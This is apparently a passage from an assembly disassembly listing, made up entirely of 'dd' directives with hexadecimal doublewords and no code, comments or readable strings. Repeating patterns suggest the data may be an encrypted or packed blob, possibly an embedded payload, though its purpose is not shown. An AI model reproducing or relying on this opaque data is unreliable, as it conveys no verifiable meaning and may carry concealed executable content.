0D3E4755Dh dd 67EBF48Dh, 3478370Ch, 0DA95E99Bh, 0A787FB60h, 379AF514h dd 0CCEA3EBCh, 0E26D03A7h, 2275FEF3h, 0B533F28Eh, 0C86EA5C6h dd 0A75FEF3h, 0AE2B602Eh, 0E29B7BF0h, 0AAB89606h, 4F3CF60Bh dd 0EAF5D8A4h, 63740621h, 0D875FDBCh, 36417CDBh, 0D87C18A0h dd 0D8117AF0h, 5674FEF3h, 0D875FE53h, 0C0E282CEh, 607C19EAh dd 49744C21h, 0D875FE42h, 0E2476853h, 4974D8B4h, 0D875FD95h dd 0D87505CAh, 5D3E29F3h, 8EDD78B1h, 0D8793CAFh, 0F652FEF3h dd 5100F900h, 0C872DF5Dh, 2F75FEF3h, 56C84408h, 6A49CE4Ch dd 1F265CE7h, 3AF45458h, 0DB257A15h, 839503E4h, 0DADEF761h dd 0D875F973h, 780C8FF3h, 7869645Fh, 8AF0ACB5h, 602D709Ch dd 1827785Fh, 0CCD4AD58h, 5F75AF53h, 0D875FD95h, 6E836853h dd 0D87584F1h, 0F09AFEF3h, 0D875FD96h, 6BFC0EEEh, 555EF92Fh dd 9326D519h, 0D875FA07h, 566EA1F3h, 1DFA1990h, 0D875FE5Ah dd 0DFF50B53h, 5675FEF3h, 360EDEFEh, 0D57222DBh, 0F675FEF3h dd 0AA605528h, 0D0251B32h, 220A0288h, 288BF21Ch, 7BF68795h dd 0D1C57120h, 0D836E149h, 78C6FEF3h, 177550FEh, 0A4F352F3h dd 3EA25F8Eh, 4DC66D5Ah, 6F7086F4h, 0E4696EBCh, 4DC662CDh dd 94F3C5E1h, 36D8F20Eh, 0C448C8A2h, 3AC74DE1h, 4C587FD1h dd 49C662F4h, 4D84F82Ch, 0A03BF5F4h, 4DDCECC8h, 656762F4h dd 4DC7E2CBh, 4DC787A3h, 0CD3C8FF4h, 0B40BF38h, 6B0420D3h dd 9AE142CBh, 0B8DE39EDh, 4DC662F5h, 906E4CBCh, 46C68F4Fh dd 4DDAD5D4h, 868E62F4h, 0D19CC119h, 80350831h, 3391442Ch dd 98836F28h, 0E4C283CFh, 4DC662C5h, 0AE3B91E5h, 662ECD44h dd 0C8005516h, 0DA79EFF1h, 0CAD0918Fh, 0C4F28EC6h, 4106ECB3h dd 0D2C662F4h, 9416E13h, 31776671h, 0BAC662F4h, 319F4C73h dd 0AECACA0Dh, 70A5997h, 0A7A5CF32h, 0E4540D04h, 4DC662C3h dd 42DC6B43h, 5D00D861h, 4858F338h, 6DC28321h, 4DC674AAh dd 0AFBFDBF4h, 4EEE2598h, 0CAE05A83h, 95F74D34h, 4DC662F4h dd 4D07AACBh, 4DC662F4h, 0D32A6E4Dh, 4DC66E36h, 4DCDD5F4h dd 18F362F4h, 841E21F3h dd 2AD8E5B8h, 2F732CEh, 0CC0B4A5Fh, 4DC66DAEh, 0A01BF5F4h dd 4DC66EF9h, 6F6F6DF4h, 4DDCF3C8h, 0C4A362F4h, 49316149h dd 0E473D9D1h, 4E6FAC2Fh, 0AB8DD4B8h, 0CDE662CBh, 0B8DE3435h dd 4DC662F7h, 6C0AAFC9h, 4DD3D52Bh, 612562F4h, 5989845Ah dd 7AC0FCAFh, 8199F21Fh, 49BC4708h, 0A6648D77h, 38C9AF42h dd 3BD0B77Eh, 0F366D3EFh, 4EDB5789h, 2E67C19Bh, 0A9ECA79Fh dd 8757D558h, 2377C83h, 9F232BE2h, 3BDA7416h, 0FA57B8EFh dd 2D1FDF56h, 3BD0B577h, 0B6CAA6EFh, 4BACEF99h, 0C3D45871h dd 40F788Ah, 0A65A9038h, 3F363C00h, 3BD637E8h, 0BA6CB8EFh dd 7F8BE986h, 0A45BB72Bh, 20D0B8EFh, 3BD0C568h, 0BAF6BCEFh dd 819CB4C6h, 3B5731E8h, 6B6CB8EFh, 0BB34C414h, 62F0B3A2h dd 3BD0B8FFh, 4A1FF809h, 0CB97D7D0h, 9AB7BB50h, 0AD443602h dd 3BD0B27Eh, 47786CEFh, 0DAD7CDAEh, 3BD54D39h, 0E1D7B8EFh dd 0C934AC14h, 3BD0B3A2h, 3BDF9DEFh, 0B4CDB8EFh, 92E81431h dd 0BE5838AEh, 38C9D5E9h, 3BD0AA7Eh, 0CF92C9EFh, 4C21AA8Fh dd 765FA9Ch, 62C9874Ah, 3BD0B13Ch, 7373EFCFh, 7A1645C1h dd 3C7E25D3h, 0C3D0B8EFh, 0DC87E06Ah, 5A33474Fh, 4750F973h dd 9FCB3DE3h, 0E95A961Eh, 0BC801825h, 0E45826A8h, 3A57B7CEh dd 53D0B8EFh, 0C2103D3Ch, 9FD32AA4h, 3BDA7416h, 0BCF0B8EFh dd 3952B758h, 20D0B8EFh, 3BD0B863h, 0F12625EFh, 0DB642ECFh dd 3BD0B071h, 0AF7B5BEFh, 6EBC0389h, 0F95612F7h, 0DAF608D0h dd 3A33800Ah, 3AE534E8h, 0BBDDB8EFh, 3BD0B8E9h, 2702FC47h dd 30689F60h, 3BC29D58h, 0B558B8EFh, 0D9C45CF6h, 1E3D34D1h dd 0F822F827h, 77C018C5h, 1B54B689h, 20D0B8ECh, 3BD0C514h dd 8A3381EFh, 3E8A56E8h, 206CB8EFh, 3BD0C516h, 812CBCEFh dd 30B932E8h, 7768C758h, 7752B7D6h, 62D0B8EAh, 3BD0C797h dd 3D56EA50h, 488581BAh, 0B9DC1D9Bh, 306DC76Ah, 3BD0B27Eh dd 39A854EFh, 5359672Dh, 0BFDC269Bh, 306DC7C6h, 3BD090CFh dd 38D3B8EFh, 0D8501910h, 0D1F62783h, 53142ECEh, 427E25F6h dd 0C5D0B8EFh, 0C8740CECh, 0F5F474BDh, 0B5DC249Bh, 3BD0B443h dd 3BDF29E8h, 20F0B8EFh, 3BD0B817h, 0CC3325EFh, 372532EBh dd 0C3DDC758h, 3BD0B8E9h, 3F169D5Ah, 656CB8EFh, 4934B416h dd 6DD0B8EFh, 3BD92AE8h, 20F0B8EFh, 3BD0B86Fh, 0DAF618EFh dd 0BFD8A581h, 3BD0B40Fh, 395FB7CFh, 20D0B8EFh, 3BD0B814h dd 540C45EFh, 0E92D6658h, 3BCB90CEh, 0F06FB8EFh, 5A0768F4h dd 0DEE9FDA9h, 0C6B7B737h, 18E0E72Fh, 0B4DCFD19h, 3BD0B8EEh dd 4A003824h, 30ADE2F6h, 3A6DC758h, 69F71A5Dh, 208EB41Ch dd 3BD0B314h, 4DA5B7EFh, 4359B7F6h, 0DBD0B8EFh, 1EE6269h dd 0B8F6D0C2h, 307932B9h, 4EF67560h, 0B0299316h, 37F7D5BEh dd 306D237Eh, 2756B758h, 20D0B8ECh, 3BD0B26Ah, 3B57B7EFh dd 4ED0B8EFh, 0BFDF7D6Ah, 3BD0B4FFh, 3BD332E8h, 63F0B8EFh dd 3BD0B8FDh, 6B95231Ah, 66FA909Eh, 0BE60948h, 35C4D54Fh dd 0DB8FFD09h, 0A66A25C9h, 3338A51Ah, 3B239DE1h, 0D986B8EFh dd 875DD291h, 7BF283D4h, 475C99AAh, 9FCB3DE3h, 0F834C416h dd 72F0DE20h, 78159516h, 52F713E5h, 3BD0A37Eh, 0ABDCAEEFh dd 9609B40h, 5104B67h, 1036E876h, 7B70D980h, 0F68A06F6h dd 0DF4C255Eh, 3E3B0B99h, 48562722h, 0DF4C2546h, 73A0E346h dd 49D58AAFh, 27A6F4BCh, 0BBBE956Ch, 0FCD8B759h, 0F5603826h dd 0F4566351h, 6C0F30F4h, 3BD0AB7Eh, 85354BEFh, 0E34B48BEh dd 30C4AC28h, 3BD0B57Eh, 7CFEFBEFh, 10624A79h, 0F3CA2AF2h dd 77F513FDh, 0CEBEC56Eh, 257A8D45h, 0F4D0B8ECh, 29B2ADBBh dd 8A34E1F8h, 0E575233Ah, 1FE1400h, 6516448Eh, 0C93151E8h dd 8D8109A9h, 0BA6EDDF3h, 8D810A71h, 657E45F3h, 413151E8h dd 2F64F5DEh, 2F7EEC80h, 17D0B8ECh, 34E241C9h, 0D2258081h dd 2C39E070h, 0AFB2B792h, 6A965D50h, 8133FD0Eh, 721DC52Bh dd 405176BEh, 662EFCDEh, 3B2329E8h, 0D9F0B8EFh, 8031A569h dd 0EAAFD804h, 4F2625DEh, 4F27B986h, 3256B74Eh, 0DBD0B8ECh dd 4CC97EC0h, 3BD0A977h, 8F0BAEFh, 7C1B4B18h, 0AE019CF4h dd 0DA88B10Ah, 626E545Fh, 3BD0B8FFh, 0BAEA3E35h, 1C102643h dd 9363173Bh, 383EE42Ah, 3154443Fh, 241B47A3h, 31D68C6Ch dd 0A7B47A3h, 0C3428C6Ch, 0DB88C7C3h, 3BD029EBh, 8DDB8EFh dd 95964D5Dh, 0A6F6F26Eh, 3338A57Ah, 3BC29DE1h, 0FE95B8EFh dd 0B56C2614h, 0E1046AEDh, 0BBE44B8Eh, 625DBCCCh, 3BD0C79Eh dd 48395459h, 8F8B731Dh, 0D65A2A9Ch, 0DBD4DBF3h, 7286BE17h dd 201731F6h, 3BD73063h, 2558B7EFh, 62D0B8ECh, 3BD0C792h dd 7825EBD6h, 0DAF408A2h, 0F4EAECCAh, 3E557273h, 78D4DBFBh dd 8D880CFh, 0E37324B9h, 0EF485EBCh, 3BC19DCFh, 90B2B8EFh dd 58F45BA7h, 0AE74BD56h, 9B277420h, 0DCC428FBh, 3BD0A971h dd 0C5545CEFh, 9BA8DA0Ah, 0C754AE8Ch, 30F16149h, 333EB51Ah dd 387A80E1h, 54D0B8EFh, 338C3E13h, 0BE5D53FAh, 38CD3AC4h dd 3BC72BE8h, 3C7FB8EFh, 83D0B8EFh, 8ABC3783h, 0FBE04EC5h dd 0EB6C06F6h, 0DC7D1046h, 2F5FB8EEh, 306FBB80h, 3E7F27BFh dd 75D0B8EFh, 5D1A913Eh, 0D0162BC1h, 5F57AC0h, 201731CFh dd 3BD78663h, 3A54B7EFh, 52D0B8EFh, 254E3114h, 62F0BFE5h dd 3BD0B8E9h, 25D70824h, 67DE67C5h, 1FC32C86h, 0F95290D1h dd 90ECEC78h, 201731F6h, 3BD7ED63h, 0BE1581EFh, 38C8DCEDh dd 275EB72Bh, 20D0B8ECh, 3BD0B26Eh, 3B55B7EFh, 52D0B8EFh dd 0EDD39DF7h, 3BD09CA6h, 7FEEB8EFh, 0EC0B912Dh, 2AABC70Dh dd 53D4DAB6h, 0B1E93112h, 0D9F0BFF8h, 0BA91B907h, 0BA2A7371h dd 0EB6C25F6h, 3B2334E8h, 0D9F0B8EFh, 0C2946D69h, 531645C0h dd 0C28125F2h, 3F11454Ch, 0B4D0B8EFh, 2F55B474h, 2F5E1B80h dd 3BCC9C80h, 3876B8EFh, 0D22F1D11h, 7EB1E306h, 95F33F91h dd 0F731058Eh, 3700C725h, 0BEDF786Ah, 3BD0B8FFh, 0C2D880CFh dd 3BD0B8E2h, 0C74787C1h, 3BA69DC9h, 0C26CB8EFh, 9AF25F6Dh dd 3BE49DE0h, 0D443B8EFh, 28F1F937h, 0B971992Bh, 6C061076h dd 3F5FB8EFh, 44FF8F83h, 0C2D0B8C3h, 0D9F7D392h, 0D967AA18h dd 0DA8FA307h, 0D9EE3115h, 20F0BFF8h, 3BD0B169h, 0FC5612EFh dd 0BEDCED1Ah, 3BD0B8ECh, 30F625CFh, 0BDF78CBFh, 0DA062DAFh dd 0BED88797h, 3BD0C790h, 3BDC38E8h, 3D7FB8EFh, 0CBD0B8EFh dd 0E8B393C4h, 3649778Ah, 3A2E9CACh, 0BCDDB8EFh, 3BD0B8F0h dd 3BD0B57Eh, 0FA41E5EFh, 6984ACE9h, 9408CB9Ah, 0FC4BF268h dd 7F5EF7F7h, 0BEDCDB83h, 3BD0B8F3h, 3B55B7CFh, 63D0B8EFh dd 3BD0C79Eh, 14E6C204h, 9190DADh, 0DAF61ADEh, 0DB657346h dd 3BD0AB71h, 8CB621EFh, 0C66C771Bh, 0AC585D4h, 7C7845CEh dd 20F72493h, 3BD0C560h, 0A66481EFh, 3F363C00h, 5B5EE85Ah dd 3BD0B4EAh, 3F7F33EFh, 0D634B460h, 0DA34B411h, 0EA5812CEh dd 62F15A12h, 3BD0B8E1h, 0CF25DDA9h, 0E3F60C24h, 3BD70C4Dh dd 7234AC1Eh, 3BCE3FE8h, 2F7FB8EFh, 20D0B8ECh, 94178913h dd 175565D0h, 8EF8567Bh, 4BDEC08h, 0B416915Bh, 975FB44Ah dd 3A327A83h, 0F4D7B8EFh, 6289B3ECh, 3BD0B8F3h, 5A80C987h dd 1DB25026h, 2BC46A23h, 39A24A26h, 36B11BFCh, 3B5F4D26h dd 0FAD7B8EFh, 2759B514h, 3F1B4480h, 53D0B8EFh, 8662211Eh dd 3C7FBFE4h, 0D0D0B8EFh dd 20638462h, 33B61804h, 42F8AD10h, 0C2D0B8D1h, 53ACD39Ah dd 3AD0B8EFh, 437E2747h, 78D0B8EFh, 51DBC65Dh, 6A0B1C38h dd 3BD0AC0Eh, 0BC17C5EFh, 9F232BF9h, 62DA746Ch, 3BD0B8F3h dd 0E6E4603Eh, 2DA81050h, 0BB2A47Fh, 0B7D82AD4h, 4DBEA733h dd 3CA2211Eh, 0D9F0BFE4h, 30F17717h, 0BA8FD393h, 3BD0B3A2h dd 0F0F518EFh, 58598544h, 9FE4C7F6h, 9FDB2A83h, 4EDA746Ch dd 7BBD4D26h, 23FB3C8h, 3E1FDD27h, 34FCF809h, 0C2DC18CFh dd 3BD0B8EEh, 3BDA90F6h, 2D7DB8EFh, 0B0D3187Bh, 0B6740DBh dd 8CF61D87h, 2CD8296Ah, 7E52B7E1h, 20D0B8EFh, 3BD0A86Fh dd 3BE49DEFh, 3332B8EFh, 19FC86F2h, 0CA271C65h, 0E65AFB6Bh dd 20D4DA8Ah, 3BD7D36Dh, 3BE49DEFh, 459EB8EFh, 2A15617Ch dd 0F3BF994Dh, 0F56E2508h, 0BBDDB8E3h, 3BD0C796h, 3BD13FE8h dd 0DAF0B8EFh, 3F15BCC9h, 30EE2D83h, 0C9AFF7B5h, 3A0BB860h dd 73DBD423h, 3BD0A87Eh, 1A894EEFh, 0ADB75FBAh, 6FAED9F3h dd 0BBB2E6B2h, 9F9A7FF6h, 5E93EFE3h, 9F94C680h, 9FE345E3h dd 8E2030E3h, 9FC345F2h, 5EC9D3E3h, 9FEB45CFh, 39C7A4E3h dd 0D0A906F2h, 3A4E9D17h, 6DDFD433h, 546638CFh, 0DF2FAA19h dd 0A1DC25DDh, 3BD0B8E9h, 3BA3B7CFh, 20D0B8EFh, 3BD0B812h dd 698625EFh, 0E6D52AF7h, 0E9641AD1h, 41529A50h, 3821DE04h dd 5C028216h, 4A5E0865h, 721F3D39h, 3BD0A87Eh, 0B1275EFh dd 3E10040Ah, 61A84CCAh, 12B4D02h, 0C2A228BBh, 62D4DB2Bh dd 3BD0C792h, 377E7CACh, 0F2252152h, 51957EDAh, 2077C7F8h dd 3BD0AE14h, 0A1DC18EFh, 3BD0B8EFh, 0DBF61A3Ch, 3BFFE35Ah dd 6CD0B8EFh, 34598396h, 51338124h, 3AB534E8h, 0B5DDB8EFh dd 3BD0B8E3h, 4D5812CFh, 77F62730h, 0E754B777h, 62D0B8EEh dd 3BD0B8EAh, 62B6A4BBh, 20DCFBB8h, 3BD73B60h, 3BDE9DEFh dd 0FF47C6EFh, 16B6A4FCh, 357E0197h, 39378460h, 5016C5B5h dd 6C038C71h, 0F320BBB0h, 14D24BB1h, 5A92D7F3h, 6B16C5BFh dd 5016C13Bh, 5005DCBCh, 0BDB6C5BCh, 6DA01F66h, 0EE9F1D63h dd 7BE539Ah, 3F2979EEh, 560931B1h, 0D61FC5BCh, 5016C5A7h dd 5016C3D7h, 6C6026BCh, 0EF58D9C6h, 0D7279202h, 0FCA8C9FEh dd 46D4B901h, 639DD75Fh, 6B16C5BCh, 5016C534h, 4DDAECBCh dd 11EA2D6Fh, 3995937Ch, 2FC45AD5h, 1914DD3Fh, 31D5893Ah dd 34E444B9h, 0D13B545Dh, 0A78E11FEh, 0DEE5C495h, 62FD8CA6h dd 0A516C5BCh, 9DB846D4h, 0E4A29647h, 0C263F23Fh, 7D216Eh dd 0D04C50D0h, 3736C8CBh, 0B5AE6664h, 4D58CAC8h, 51E3D75Fh dd 4916C5BCh, 6B96BB3Ch, 5BEE433Bh, 501CDDC1h, 317AC5BCh dd 0E1A79BEBh, 0B8C639F0h, 50157412h, 2F32A237h, 5016C9D7h dd 798828BCh, 0E30AE4FEh, 9B619F4h, 9541CB53h, 5016C5A6h dd 2E6FEB3Fh, 3F15BE88h, 2E6FF33Fh, 3949BE88h, 5016C5A8h dd 59810A35h, 0C479C66Fh, 5D204CA7h, 41FB60D9h, 3EC913D7h dd 500632B1h, 66FDC5BCh, 6316C5BCh, 60E802F9h, 0D37F341h dd 1B3BBEC0h, 7AA95AF9h, 8E449667h, 5016C5BAh, 51531637h dd 280EB3CCh, 54CF4C5Ch, 50BEDD5Fh, 8676C5BCh, 5004DD24h dd 0BF8CC5BCh, 0F79F90D2h, 4258B44Bh, 84014A99h, 0B14FE8C4h dd 51AC846Fh, 0D916C5BCh, 40145CEFh, 394ECE35h, 5016C5B2h dd 1EC66371h, 1B3B047Dh, 4F9A2EB0h, 0AD92D7C5h, 6B16C5BCh dd 5016C83Fh, 501CDCBCh, 0C052C5BCh, 67FBA70Ch, 32A0FCA6h dd 8C1FC6Ah, 2C25A4F7h, 2F4CB198h, 8C1E33Fh, 26EDA4F7h dd 5016C502h, 57E4C4BCh, 0FC014AA2h, 5011F23Eh, 0D91FC5BCh dd 5016C5A8h, 5016C4D7h, 9220BABCh, 44713A72h, 0BD59B72Dh dd 0B95BAF5Bh, 20B0C33Ch, 5016B104h, 0D8C244BCh, 517D77A1h dd 0D8DA45FDh, 287D77A1h, 5A4BDDC0h, 5EFDC7C1h, 1216C5BCh dd 0F2A828B4h, 0A1DFA134h, 0BAA0D724h, 6698D6BEh, 3916C5BCh dd 5016C5B3h, 0DB2E0AA7h, 8F13CD47h, 0F1406831h, 0AC23316h dd 5A0F31B1h, 39EEC7C1h, 5016C594h, 5016BFD7h, 8C37BCBCh dd 152E819Eh, 0A0AFD75Ch, 0A1A7D75Ch, 0DA95655Fh, 0DD1FC7BEh dd 5BEFB9C7h, 5090D75Ch, 0B116C5BCh, 5BE977D6h, 5EFC66C1h dd 7A16C5BCh, 0ADEE99Ch, 56B62643h, 5010DE71h, 26F2C5BCh dd 0D0F54141h, 0B14D0AFEh, 5011EA3Eh, 0C9DC5BCh, 26476598h dd 4595586Eh, 0D947653Ah, 5CD745D9h, 0D116C5BCh, 5016B2D1h dd 0FC213EBCh, 0FC193D63h, 5016BFD6h, 0EDC50CBCh, 0D6E449E4h dd 0D1FA3D6Ch, 5016B2FCh, 5CC232BCh, 0B4329A39h, 39329A36h dd 5016C5B5h, 3B1198B4h, 4DAF6A35h, 0D126DA0Eh, 5016B2D3h dd 0FC293CBCh, 50144AB0h, 1E1C5BCh, 5004DDFCh, 0EDF0C5BCh dd 7DF0192Eh, 74917FEBh, 34495F6Ah, 84EF5653h, 67FCEE5Ch dd 3116C5BCh, 0AD0D2EE9h, 9EA86D40h, 0DE8A9AF1h, 353B2E0Eh dd 0D175C12Fh, 5016B2D3h, 0FC193CBCh, 9F9D0537h, 2144BA67h dd 0D0A48D0Fh, 0D04C0B8Fh, 369511CDh, 90D3E0F9h, 9E96B1DAh dd 27DB45A3h, 4853029Ch, 6B66BB3Ch, 50104D38h, 0EB1EEDBCh dd 5016C5BEh, 6B1E7AC0h, 5015E338h, 392AB9BCh, 5E8C31B1h dd 0DE1FC5BCh, 5016C59Fh, 0FEAC505Ch, 5001DE72h, 0A007C5BCh dd 42523E9Dh, 9FF808D2h, 1CDDD97Dh, 9678D0D8h, 0B14C19BAh dd 0DC1EEA83h, 5016C867h, 5016CAD7h, 3971B5BCh, 69380021h dd 0BC76C126h, 6BFA7A3Fh, 501A5E38h, 500ADCBCh, 0BD9C5BCh dd 3093CB99h, 7B2C0C83h, 0D15D5C86h, 7AA85143h, 6BFB7A54h dd 501E1838h, 4DE065BCh, 0FC22C75Fh, 5CD14560h, 6B16C5BCh dd 5016CA39h, 5016DCBCh, 7F2EC5BCh, 0FFB2B64Ch, 0FC22C721h dd 5CD14564h, 6B16C5BCh, 5016C93Bh, 501DDCBCh, 0F70FC5BCh dd 0BAE933FBh, 0CEE3C5Dh, 9C958C98h, 5016C5B8h, 0FC22C7C0h dd 5CD14561h, 5416C5BCh, 67FC66FDh, 8A16C5BCh, 7A826873h dd 0A8DC02BEh, 85BDEED6h, 76AEB563h, 60FD95D0h, 3316C5BCh dd 24BD0498h, 17EA696Fh, 0DDD1097Bh, 0B1C187FEh, 0D56631F8h dd 5010BE9Eh, 21EAC5BCh, 5016C607h, 26E5C4BCh, 5016C602h dd 0DEDCC4BCh, 394C5BA5h, 5016C5A8h, 0CA2E2266h, 0B03753BAh dd 0F36A4035h, 25B4823Fh, 0AA1CF27h, 6E4AB62Bh, 0A33FBBBFh dd 667C7D87h, 0FC167C18h, 140D8678h, 10E9B088h, 0F4F87866h dd 0FF9C3CF8h, 0F4FC3A78h, 5D9DDCF8h, 0F4FC3CF3h, 0ACB84FAFh dd 0E8446104h, 749EC20Ah, 71F0BB80h, 6F076DFEh, 0F4F35419h dd 3A293CF8h, 5D6D7323h, 4E2A9AF8h, 0FB19ED4h, 0AF417FBBh dd 312DBBF4h, 0CEF2D354h, 0F4FC3190h, 772C21F8h, 0AF61DC7h dd 68AA55FEh, 0A9A9DB27h, 0C8A40F5Ch, 317E968Fh, 0C8A40F5Ch dd 5DA15EF9h, 0F4FC3CF2h, 3FEFD83Dh, 0E79B28D8h, 17A4B601h dd 7D7AB15Fh, 5DFF41D4h, 0F4FC3CF4h, 0CACC1E20h, 0F9C81EABh dd 2BFF9F0Bh, 83ED6FFCh, 13F5836Ah, 7DA963FCh, 8314B28Ah dd 304318D5h, 0D69C77FDh, 0D6127C42h, 0D58ADB41h, 0F4FFAD2Fh dd 3B7D3CF8h, 248627D4h, 637D61E6h, 248627D4h, 0FC14DC24h dd 9FFC3CF8h, 0D268FE3h, 0FF57D073h, 0F4FC3C76h, 437C0EF8h dd 0ADADDB2Bh, 0F4FC3CFBh, 0ACAC6BF9h, 0F4FC3CF9h, 0CC374F9h dd 0D49C0321h, 9D56A21Eh, 0F4FC4A9Eh, 0C4533F8h, 0CE0CF5E5h dd 802EC9F6h, 0E47A5C5h, 0D69D236Ah, 0C488E79h, 0FF242106h dd 0F4FC197Ah, 839EDCF8h, 52CBDA88h, 6EFCC6F4h, 7AF76C84h dd 0F4FC3CE9h, 0F4FBB2F7h dd 0F1153CF8h, 0B6FC3CF8h, 1738AC1Fh, 333B7966h, 3B7D4C0Ch dd 0DF28E073h, 637D61D1h, 0DF28E073h, 333B5179h, 7BF74C0Ch dd 0F4FC3CFCh, 0F4FEBCF7h, 0C6093CF8h, 0AA3AD2Fh, 0D046F1C6h dd 0F5498D95h, 6BD50C86h, 0F4EC5327h, 5DB83CF8h, 0FEE9D0E1h dd 0BECD01E0h, 98099863h, 999E6C21h, 0F4F6B3F4h, 0D69C3CF8h dd 0ADD77679h, 0D69D6370h, 0F5433D53h, 6DFC3CF8h, 0F07B0929h dd 0F039BBDCh, 0D3FC3CF8h, 0F4E8BFF7h, 0A153CF8h, 80FC3CF9h dd 22F21351h, 0E521FA75h, 3F37C078h, 0B54FF0A9h, 75F09150h dd 0F4FC3CF0h, 0F4FC4591h, 0F7901AF8h, 0C4740794h, 0F4FC3840h dd 833E3BF8h, 307D18FDh, 0F4FC3CFDh, 10C1B280h, 1089B285h dd 0A17577F5h, 0F7EB38FAh, 0F4FC4591h, 0FB063FF8h, 6F8466F1h dd 75A718CDh, 0F4FC47BDh, 87B64F8h, 55750BDDh, 0F4F87B66h dd 35433CF8h, 10F1C5FDh, 20077725h, 304303DDh, 200760FDh dd 30430EDDh, 0F9753DFDh, 5DFC3CF8h, 0F4FC3CF1h, 0F0D1D897h dd 7CF740E8h, 0F4BBD911h, 10C9B3F8h, 367D667Eh, 0F4FC3CFDh dd 77F9867Bh, 6CA018CDh, 6F27069Eh, 0CCB3DB84h, 0E77A8519h dd 0FAFF1B05h, 0FFFC3CF8h, 0F4FC3B7Eh, 75AE77F8h, 127F18CDh dd 0C7AB2130h, 0BCB62F47h, 75188B15h, 0B17D6894h, 0CF0B2B67h dd 0FE4E3C84h, 0F4FC4891h, 0A28FADF8h, 5A5D72FCh, 210A269Bh dd 0FCD954E1h, 0B6EC5E0Ah, 0FF7C6378h, 0F4FCD37Bh, 0F4E853F8h dd 9DDE3CF8h, 0AC09D386h, 0D1390DFh, 0AFA42B02h, 0F65DD589h dd 637D1070h, 0C8A44140h, 0AEAE71F9h, 0C8A44140h, 6CA669F9h dd 0F4FC3F9Eh, 0C6B0F8h, 0F2862BB3h, 0A868099h, 6F440CE3h dd 1D076C84h, 0D69C03B8h, 0D5550046h, 0F4FD9291h, 0B753DF8h dd 5DFC3CF9h, 0F4FC3CF7h, 4DA0BB05h, 65881390h, 0E84D4630h dd 0D6B3004Dh, 7CB3B729h, 34A5E590h, 6B7C3390h, 0C03CBC50h dd 0D4A483D0h, 0CA52AE1Eh, 0FFA40A18h, 0D59E8D47h, 1630D381h dd 0F8753CF9h, 10E075DCh, 0F4E8532Eh, 78F43CF8h, 0C18338A1h dd 64FDDCh, 250D4260h, 3BE018FDh, 0AEAE58D2h, 0C37A329Eh dd 75C265B9h, 0E0EEF89Fh, 6F3FBBF4h, 150C8C83h, 10C9B0B6h dd 0F4F87866h, 75053CF8h, 0BDCEC790h, 5914BBD2h, 1DCA5033h dd 593CBAB0h, 75CA5033h, 0BDCEC7B8h, 3D7DDCD2h, 0D3499E16h dd 0DD20BB1Eh, 717BDBECh, 0F7EB1D7Eh, 8305DB80h, 817BDA81h dd 0F7EB33AEh, 0F4FC4B91h, 0E187C7F8h, 6FF59455h, 2594FF21h dd 0AF89ADA2h, 1942B905h, 0F5FF41F6h, 0F0F9B8F7h, 2D053CF8h dd 73423CB8h, 0FFFC3CF8h, 0F4FC497Ch, 0F9763DF8h, 5DFC3CF8h dd 0F4FC3CF1h, 6DF9A82Dh, 1476C9DFh, 7AF089CEh, 6F0761EAh dd 0F4F8C7F4h, 79F73CF8h, 0F4FC3CE6h, 0FB34528Dh, 0B153CF8h dd 20FC3CF9h, 72662D5Dh, 86CFC089h, 0DBE72967h, 0E67E13A5h dd 713F500Bh, 0F7DDEF0Ch, 0F4FC3CFAh, 144FD381h, 18753CF9h dd 7D0AB3DDh, 0FF040E90h, 7FF73E4Eh, 0F4FC3CFCh, 0F4FEBDF7h dd 74093CF8h, 7BF0BB8Eh, 0F4FC3C13h, 0F4F5C5F7h, 0D69C3CF8h dd 567C6B73h, 5D9CDB3Ah, 0F4FC3CF2h, 0EEAD8772h, 56443762h dd 0CF0D1B8Eh, 0FA703DF1h, 82FC3CF8h, 637DDA88h, 5B2D145h dd 0A9A971E6h, 0C56E4469h, 0EBD07779h, 63FDFBBCh, 0F115DC22h dd 0D8FC3CF8h, 0A3DC8835h, 6F440C06h, 1D076C84h, 7FF703B8h dd 0F4FC3CE6h, 0AFF7DB84h, 0D530B1ACh, 0F4FCEB91h, 0C4B264F8h dd 0C7539448h, 1CA47AF8h, 0FC150256h, 2AFC3CF8h, 4D5D7889h dd 0C1F46A2Ah, 0F4FC3C45h, 0A212BBF8h, 1D87EF31h, 0A23ABAB2h dd 7D87EF31h, 0FD150E9Eh, 19FC3CF8h, 0DC18C5D4h, 0B0F2D573h dd 0C6A6A22Ah, 623D34D6h, 0CB4616FCh, 25FC4C24h, 45DD0D8Bh dd 3B7D6423h, 2133E0A4h, 24415166h, 43D54CD2h, 24417966h dd 637D4CD2h, 2133E0A4h, 7D7AB08Eh, 0FFFF41D4h, 0F4FC4A7Fh dd 0F4F153F8h, 441C3CF8h, 9C13B68Bh, 3A9B1B3Ch, 8322AA59h dd 13F5836Ah, 0B713DFCh, 5DFC3CF9h, 0F4FC3CF7h, 4083E8DAh dd 6256CBFEh, 72F9CDDCh, 0A97C8987h, 0F7EB2BD2h, 0D3783DF9h dd 68FC3CFAh, 7AF084C0h, 0F4FC3CD1h, 0F4F4BCF7h, 0F6153CF8h dd 7AFC3CF8h, 5F87301Ch, 0FF332334h, 6F05E87Eh, 7EF77684h dd 0F4FC3CF1h, 0F4C3C5F7h, 0D59C3CF8h, 0F4FEAD2Fh, 6ED53CF8h dd 0A15DC24h, 82FC3CF9h, 2F34DE21h, 0F4D8642Bh, 0B2CB753Eh dd 554FBDE8h, 1A76AE04h, 0D69DD91Dh, 7CF0B729h, 0F87BE591h dd 0FA39B9DCh, 0FC169184h, 0E8FC3CF8h, 4CC20D7h, 0DC3C4211h dd 0F4FC1E02h, 0B2D84871h, 0F4FC3CF9h, 27A6AF9h, 0AAB27723h dd 0F491ACEDh, 10E9B0A8h, 5DF87878h, 0F4FC3CF5h, 0B59B0DAFh dd 0A885906Ch, 841550E3h, 0CB12AA2Bh, 72CC524Fh, 6E3A6E20h dd 661BBBB3h, 0D4AB8BD9h, 7B8A5B46h, 667DE6D0h, 0FC9D3C10h dd 6C5A62B0h, 0E39D7966h, 73D502D1h, 0E39EA3D6h, 43D502D1h dd 0F4F3532Eh, 0A9CF3CF8h, 73CBE6D1h, 0F90FA20Dh, 0FAB9AED5h dd 0F8FC1186h, 0F0440C7Eh, 1DFC3CF8h, 10F9B0B8h, 5DF87878h dd 0F4FC3CF4h, 5630A8EEh, 1A55A52Fh, 5BFBCD52h, 2573C1F5h dd 25032AA1h, 839EDBA1h, 0F6793CACh, 75FC3CF8h, 0CAD199Bh dd 6D5BDBD9h, 0A70CBC19h, 0FA411706h, 75FC3CF8h, 0B2DC5097h 